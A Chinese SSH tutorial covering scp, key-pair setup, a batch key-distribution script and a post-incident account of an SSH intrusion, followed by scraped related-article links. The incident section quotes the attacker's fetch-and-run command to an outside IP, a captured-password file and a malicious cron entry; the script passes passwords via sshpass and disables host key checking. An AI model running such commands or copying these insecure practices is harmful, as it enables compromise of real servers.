一、ssh概述

在进行数据传输之前,SSH先对联机数据包通过加密技术进行加密处理,加密后在进行数据传输。确保了传递的数据安全。

lrzsz安装包传输本地与Linux

SSH客户端(ssh命令)还包含一个很有用的远程安全拷贝命令scp,也是通过ssh协议工作的。

telnet是不安全的远程连接,连接内容是明文的;

telnet+对方IP地址+对方端口号  因为对方是ssh我方是telnet两种不兼容,所以连上了无法有任何操作(不好用)可以判断对方某个端口开没开,后面来一个$?进行判断,可以写在脚本里,也就这点逼用了。

ssh是加密的远程连接,连接内容是加密的。

ssh+对方IP地址 不写端口号,默认是22端口,弹出一个会话,问是否记录对方IP地址; 然后需要输入对方的root密码,没有指定对方账号登陆,默认是以root身份登陆

需要装scp这个命令才能进行远程连接

rpm -qf `which scp`   openss*

scp /etc/hosts 192.168.200.111:/etc  (可直接把本地的东西复制过去,比如yum仓库等)

scp root@192.168.200.111:~/yyy .   (把对方的东西拿过来)

二、密钥对

1、概述:

密钥对:只要有钥匙文件就可以,采取文件对文件的连接方式,不用靠手输入;

服务端有一个主文件,客户端有一个副文件,服务端发现客户端的副文件和自己是一套的,远程连接的时候就不需要输入密码;如果发现不是一套的,直接拒绝!

登陆谁,给谁公钥。

2、密钥对使用与参数

ssh-keygen   生成密钥对

ssh-copy-id   分发密钥对

生成密钥对后,/root/.ssh/目录下有两个文件

id_rsa.pub是公钥  在服务端 需要改名authorized_keys

id_rsa    是私钥  在客户端

.ssh这个目录不能权限过大,否则Linux系统认定不安全,致使连接失败

所以,要把.ssh目录设置为700权限;chmod 700 .ssh

然后把私钥远程复制到对方,scp .ssh/id_rsa 192.168.200.111:~/.ssh/

这样就能免密码交互直接连接了

#但是,要想跟普通用户连接,那么普通用户的家目录下也要有这个密钥

#注意:因为要在普通用户下使用,所以要把密钥和它的.sh目录的的属主改成属于这个普通用户

chown yunjisuan authorized_keys   (别忘了改700权限)

3、修改SSH配置文件飞快运行/etc/ssh/sshd_config

/etc/ssh/ssh_config

修改SSH配置文件,使其飞快运行:

vim /etc/ssh/sshd_config

81行 不进行验证,改成no

122行  DNS 改成no

重新启动,service sshd reload

scp /etc/ssh/sshd_config root@192.168.200.111:/etc/ssh/

三、非交互式密钥对

1、一条命令创建密钥对

ssh-keygen -t dsa -f ~/.ssh/id_dsa -P ""

-t指定加密算法DSA

-f密钥放在哪

-P 密码””  为空

2、分发密钥对(交互式)

ssh-copy-id -i ~/.ssh/id_rsa.pub 192.168.154.132

#将本地公钥拷贝到172.16.1.41服务器的root目录下

-i  你要分发什么

分发完毕后,自动修改属主属主,700权限;

3、一条命令分发密钥对

先在云yum上安装一个sshpass

sshpass -p “123123” ssh-copy-id -i ~/.ssh/id_dsa.pub yunjisuan@192.168.154.132

konwn_hosts这个文件,记录对方远程连接的信息,如果我们把创建、分发密钥对写进脚本里,第一次连接就会弹出是否记录的会话,脚本就会卡在这

脚本终极分发版本及相关参数说明:

#####################sshpass -p “$password” ssh-copy-id -i ~/.ssh/id_dsa.pub “-o StrictHostKeyChecking=no ${User}@$ip” &>/dev/null

sshpass -p “123123” ssh-copy-id -i ~/.ssh/id_dsa.pub “-o StrictHostKeyChecking=no yunjisuan@192.168.200.111”

四、密钥分发脚本

手敲版

User=root

password=##Linux密码

function YumBuild(){

echo “正在安装epel源yum仓库,请稍后。。。”

cd /etc/yum.repos.d/ &&\

[ -d bak ] || mkdir bak

[ `find ./*.* -type f |wc -l` -gt 0 ] && find ./*.* -type f | xargs -i mv {} bak/

wget -O /etc/yum.repo.d/epel.repo http://mirrors.aliyun.com/repo/epel-6.repo &>/dev/null

yum -y clean all &>/dev/null

yum makecache &>/dev/null

}

echo “正在进行网络连接测试,请稍后。。。”

ping www.baidu.com -c2 > /dev/null || (echo “无法连接外网,本脚本运行环境必须与外网相连” && exit)

[ $# -eq 0 ] && echo “没有参数!格式为:sh $0 参数1.。n” && exit

rpm -q sshpass &>/dev/null || yum -y install sshpass &>/dev/null

if [ $? -gt 0 ];then

YumBuild

yum -y install sshpass &>/dev/null || (echo “sshpass build error!” && exit)

fi

[ -d ~/.ssh ] || mkdir  ~/.ssh;chmod 700 ~/.ssh

echo “正在创建密钥对。。。”

rm -rf ~/.ssh/id_dsa ~/.ssh/id_dsa.pub

ssh-keygen -t dsa -f ~/.ssh/id_dsa -P “” &>/dev/null

for ip in $*

do

ping $ip -c1 &>/dev/null

if [ $? -gt 0 ];then

echo “$ip无法ping通,请检查网络”

continue

fi

sshpass -p “$password” ssh-copy-id -i ~/.ssh/id_dsa.pub “-o StrictHostKeyChecking=no ${User}@$ip” &>/dev/null

echo “$ip 密钥分发成功”

done

原版

#!/bin/bash

# author:Mr.chen

# 2017-3-14

# description:SSH密钥批量分发

User=root

passWord=##Linux登录密码

function YumBuild(){

echo "正在安装epel源yum仓库,请稍后..."

cd /etc/yum.repos.d/ &&\

[ -d bak ] || mkdir bak

[ `find ./*.* -type f | wc -l` -gt 0 ] && find ./*.* -type f |  xargs -i mv {} bak/

wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-6.repo &>/dev/null

yum -y clean all &>/dev/null

yum makecache &>/dev/null

}

echo "正在进行网络连接测试,请稍后..."

ping www.baidu.com -c2 >/dev/null ||(echo "无法连同外网,本脚本运行环境必须和外网相连!" && exit)

[ $# -eq 0 ] && echo "没有参数!格式为:sh $0 参数1...n" && exit

rpm -q sshpass &>/dev/null || yum -y install sshpass &>/dev/null

if [ $? -gt 0 ];then

YumBuild

yum -y install sshpass &>/dev/null || (echo "sshpass build error!" && exit)

fi

[ -d ~/.ssh ] || mkdir ~/.ssh;chmod 700 ~/.ssh

echo "正在创建密钥对...."

rm -rf ~/.ssh/id_dsa ~/.ssh/id_dsa.pub

ssh-keygen -t dsa -f ~/.ssh/id_dsa -P "" &>/dev/null

for ip in $*

do

ping $ip -c1 &>/dev/null

if [ $? -gt 0 ];then

echo "$ip无法ping通请检查网络"

continue

fi

sshpass -p "$passWord" ssh-copy-id -i ~/.ssh/id_dsa.pub "-o StrictHostKeyChecking=no ${User}@$ip" &>/dev/null

echo "$ip 密钥分发成功"

done

五、 企业案例:SSH入侵案例

通常服务器安全问题在规模较小的公司常常被忽略,没有负责安全的专员,尤其是游戏行业,因为其普遍架构决定了游戏服通常都是内网进行数据交互,一般端口不对外开放,也因此对安全问题不过于重视。接下来要说的,是一次真实的SSH入侵实例,由于运维人员的经验缺乏以及安全意识的薄弱,从而没有及时对已被侵入的服务器做隔离处理,导致扩散到较多的服务器。

一,事件回顾

这次的服务器被入侵是一个典型的弱密码导致的入侵事件,由于某人员的疏忽,在某台服务器上新建了test用户,且使用同名的弱密码,以便于调试工作所需的脚本工具,就在当天在做脚本调试的时候发现了某些异常的错误,使用root用户无法ssh远程登陆其他服务器,同时scp命令出现异常无法使用,但其他服务器可以使用scp将文件拷贝到该服务器,之后将问题反馈给运维人员,由我们运维进行排查。

二,排查过程

收到问题反馈,主要涉及ssh相关的问题后,我们运维对该服务器进行排查,发现使用ssh -v中的openssl版本无法显示,且输出的帮助信息与其他服务器不一致,然后查看ssh配置,发现配置文件(ssh_config和sshd_config)文件已更新,其内容被全部注释,这时还没有意识到被入侵,悲哀+1,起初以为同事对该服务器做了升级了ssh版本,后来确认无升级之类的操作。

· (1):查看ssh版本及相关信息,openssl的版本显示异常,与其他服务器对比,帮助信息显示方式有多不同

正常服务器的ssh -v

1. [root@backup ~]# ssh -v

2. OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

3. usage: ssh [-1246AaCfgKkMNnqsTtVvXxYy] [-b bind_address] [-c cipher_spec]

4.            [-D [bind_address:]port] [-e escape_char] [-F configfile]

5.            [-I pkcs11] [-i identity_file]

6.            [-L [bind_address:]port:host:hostport]

7.            [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]

8.            [-R [bind_address:]port:host:hostport] [-S ctl_path]

9.            [-W host:port] [-w local_tun[:remote_tun]]

10.            [user@]hostname [command]

 

 

 

 

 

有问题服务器的ssh -v

· (2):查看ssh进程及其相关文件,ssh和sshd进程文件已更新,ssh_config和sshd_config配置文件已更新,配置文件内容全部注释,ssh_host_key和ssh_host_key.pub为新增文件,其他服务器没有这两个文件。

·

(3):继续排查,将一台正确的配置文件覆盖至该服务器,重启ssh服务后,使用ssh命令发现无法识别该配置文件中的参数(到这里其实应该发现ssh进程文件已被篡改,使用md5sum做比对即可)

·

·

(4):由于其他工作事务需要及时处理,排查这个事情就被搁置了,直至之后的YY讨论问题拿出来询问了下大神,才意识到有被入侵的可能

·

·

(5):询问操作过该服务器的同事,此前正在调试脚本工具,新增了test用户,得知其密码为test

·

·

(6):进行深入排查,使用chkrootkit -q查看Linux系统是否存在后门,发现有异常。协同之前操作test用户的同事,查找history命令记录,发现一条可疑命令

·

1. $ su - test

2. $ history

3.     50 wget http://71.39.255.125/~ake/perf;chmod +x perf; ./perf #非同事操作的可疑命令

4. $ w  #并且无法查看当前的登录用户

5. $ cat /usr/include/netda.h  #找到一个用户登录就记录其密码的文件

6. +user: bin +password:worlddomination

7. +user: test +password:TF4eygu4@#$ds

·

(7):在另外一台服务器上,发现某账号家目录下有个dead.letter文件,用于将获取到的信息(系统信息,IP地址,账号密码等)发送至指定的邮箱

·

·

(8):又在另外一台服务器上部署了一套可疑的程序,估计是作为肉鸡功能

·

1. $ sudo crontab -e

2. $ * * * * * /usr/include/statistics/update > /dev/null 2>&1

3. #原有的cron任务已被清空,仅有该条可疑任务

· (9):找到/usr/include/statistics为主程序的目录,其中update为主程序,通过autorun脚本进行部署,执行crond伪装成crond服务,使原crond服务隐藏且无法启动,将cron覆盖至原有crontab文件来每分钟执行update二进制程序,mech.pid记录伪装的crond程序的PID

三,清理工作

· 紧急修复清理

将准备好的正常的ssh相关文件上传至被入侵服务器的/tmp目录下

1)查看并修改属性

2)恢复ssh和sshd

3)删除多余的文件以及恢复crond

· 后续安全工作

1)修改所有涉及的服务器的账户密码,之后其他使用同类密码的服务器也需改掉

2)配置防火墙策略,只允许公司外网IP可ssh访问服务器

3)对于被入侵过的服务器系统后期逐步重做系统,避免存在未清理的后门

四,总结

此次的遭受攻击,问题主要是运维安全意识较差,以及防火墙策略比较松散,为了便于远程工作,像ssh端口未做限制,服务器几乎是裸奔的状态。经过此番折腾,也对服务器安全方面做了一次警示,需加强防御工作,同时也了解到典型的ssh后门功能:其一是超级密码隐身登陆;其二是记录登陆的账号密码。后续还需制定一系列入侵检测机制,以防再次出现入侵事故。

如何防止SSH登录入侵小结:

病毒通常在在哪? 
1)各种开机自启动里面放着
/etc/rc.local /etc/init.d/
2)定时任务
/var/spool/cron/*
3)系统的定时任务目录

如何防止SSH登录入侵?

1,用密钥登录,不用密码登录
2,防火墙封闭SSH,指定源IP限制(局域网,信任公网)
3,开启SSH只监听本地内网IP(ListenAddress10.0.0.8)。
4,尽量不给服务器外网IP
5,最小化软件安装
6,给系统的重要文件或命令做一个指纹
7,给他锁上chattr +i +a

六、SSH批量分发管理

操作系统

1. [root@m01 ~]# cat /etc/redhat-release

2. CentOS release 6.8 (Final)

3. [root@m01 ~]# uname -r

4. 2.6.32-642.el6.x86_64

主机网络参数

主机名

网卡eth0

网卡eth1

用途

m01

10.0.0.61

172.16.1.61

中心批发服务器

nfs01

10.0.0.31

172.16.1.31

接收节点服务器

web01

10.0.0.8

172.16.1.8

接收节点服务器

backup

10.0.0.41

172.16.1.41

备份服务器

提示: 
若无特殊说明,子网掩码均为255.255.255.0,一个C类网段254台机器规模

要求所有服务器在同一用户chensiqi系统用户下,实现A机器从本地分发数据到B,C机器上,发到B,C的过程中不需要系统提示输入密码验证,当然,除了分发的功能,还可以批量查看所有客户机上的CPU,LOAD,MEM,系统版本信息。
即实现从A服务器发布数据到B,C客户端服务器以及查看信息的免密码登录验证解决方案:分发数据流方向如下:

ssh+key的更多相关文章

  1. 创建SSH Key连接github或gitlab

    mac下用SoureceTree下载github或gitlab上的项目时,需要进行ssh key验证.每次重装系统啥的都要重新弄,我在csdn上看到一篇不错的文章.转载一下,以后自己找起来也方便. 地 ...

  2. ssh key生成

    Mac电脑用终端生成SSH key 访问自己的Github 字数684 阅读427 评论4 喜欢15 前言:最近有不少刚刚使用github管理代码的开发者或者新手码农在网上 问我如何关联自己的gith ...

  3. windows系统如何添加ssh key到github

    我自己的电脑安装了git后,从来没有用过,今天偶然用了一次,发现不能pull到东西,报错说我没有权限,于是我网上搜索了一下,应该是我没有配置ssh key的原因,相信很多人都有和我一样的经历吧,这里呢 ...

  4. github with msysgit:配置SSH Key

    Step 1: Check for SSH keys First, we need to check for existing ssh keys on your computer. Open up G ...

  5. 添加ssh key

    我现在根据<github入门和实践>来去摸索github 其实,我发现自己在看github时,感觉不适应,是因为自己太久没有碰到英文了.可以联想到以前当看到一个网页,根据汉字的标题或描述, ...

  6. github 添加 SSH key

    在 github 上添加 SSH key 的步骤: 1.首先需要检查你电脑是否已经有 SSH key 运行 git Bash 客户端,输入如下代码: $ cd ~/.ssh $ ls 这两个命令就是检 ...

  7. 使用ssh key的方式建立和git服务器的通信

    1.以前大家好像都在用https的方式同git来同步代码,但是到了新公司后,主管说要配ssh key,所以大概了解一下 An SSH key allows you to establish a sec ...

  8. Git bash 配置ssh key

    问题描述 昨天为了配置Qt create中的Git,把我一直在使用的Github删除了,今本以为,这样git的一些配置还在,可是,今天上传一些提交的时候,提示我,git没有密钥.梳理一下,这个简单的配 ...

  9. github添加ssh key报错Key is invalid. Ensure you've copied the file correctly

    github添加ssh key的时候报错:Key is invalid. Ensure you've copied the file correctly 将秘钥复制粘贴到文本编辑器中,再粘贴复制到

  10. git生成ssh key 避免每次push都要输入账号密码

    第一步:生成public/private rsa key pair在命令行中输入ssh-keygen -t rsa -C "your_email@example.com" 默认在这 ...

随机推荐

  1. shell爬虫--抓取某在线文档所有页面

    在线教程一般像流水线一样,页面有上一页下一页的按钮,因此,可以利用shell写一个爬虫读取下一页链接地址,配合wget将教程所有内容抓取. 以postgresql中文网为例.下面是实例代码 #!/bi ...

  2. 来自docker的嚎叫

    好吧, 这是我第二次玩这个玩意了, 其实我现在这家公司是没有接触到docker的, 因此对它也是半桶水的状态, 之前有朋友叫我写过shell去离线部署它, 部署都那样不值一提, 后来到我第二次去接触它 ...

  3. [C++ Primer Plus] 第5章、循环和关系表达式(二)课后习题

    1.编写一个要求用户输入两个整数的程序,将程序将计算并输出这两个整数之间(包括这两个整数)所有的整数的和.这里假设先输入较小的整数,例如如果用户输入的是2和9,则程序将指出2-9之间所有整数的和为44 ...

  4. [BZOJ2298]problem a

    Description 一次考试共有n个人参加,第i个人说:“有ai个人分数比我高,bi个人分数比我低.”问最少有几个人没有说真话(可能有相同的分数) Input 第一行一个整数n,接下来n行每行两个 ...

  5. [JSONObject/JSONArray] - 定制的JSON格式返回

    当前开发的程序中.因为抛弃了jsp的渲染,改为thymeleaf,并在比较厉害的前端进行数据json的渲染无误后,得出此json数据返回. 以往的Map<String,Object>返回j ...

  6. codeforce 955c --Sad powers 思路+二分查找

    这一题的题意是   定义一个数,该数特点是为a的p次方 (a>0,p>1) 再给你n个询问,每个询问给出一个区间,求区间内该数的数目. 由于给出的询问数极大(10e5) 所以,容易想到应该 ...

  7. android ------- 开发者的 RxJava 详解

    在正文开始之前的最后,放上 GitHub 链接和引入依赖的 gradle 代码: Github: https://github.com/ReactiveX/RxJava https://github. ...

  8. ubuntu文档保存出现的一些错误

    ubuntu使用vim编辑器保存时,出现了错误,虽然知道基本的保存方法,但是还不够,出现各种错误.基本的保存命令: 写入文件后退出保存:wq后,保存时出现错误E45:已设定选项“readonly”(请 ...

  9. 解决Docker容器时区不一致的问题

    查看linux系统时区和docker容器时区 date -R //查看linux主机时间和时区 date exec [container] date -R // 查看容器时间和时区 2者的时间差了8个 ...

  10. 【框架】selenium网页端的基本自动化框架(四)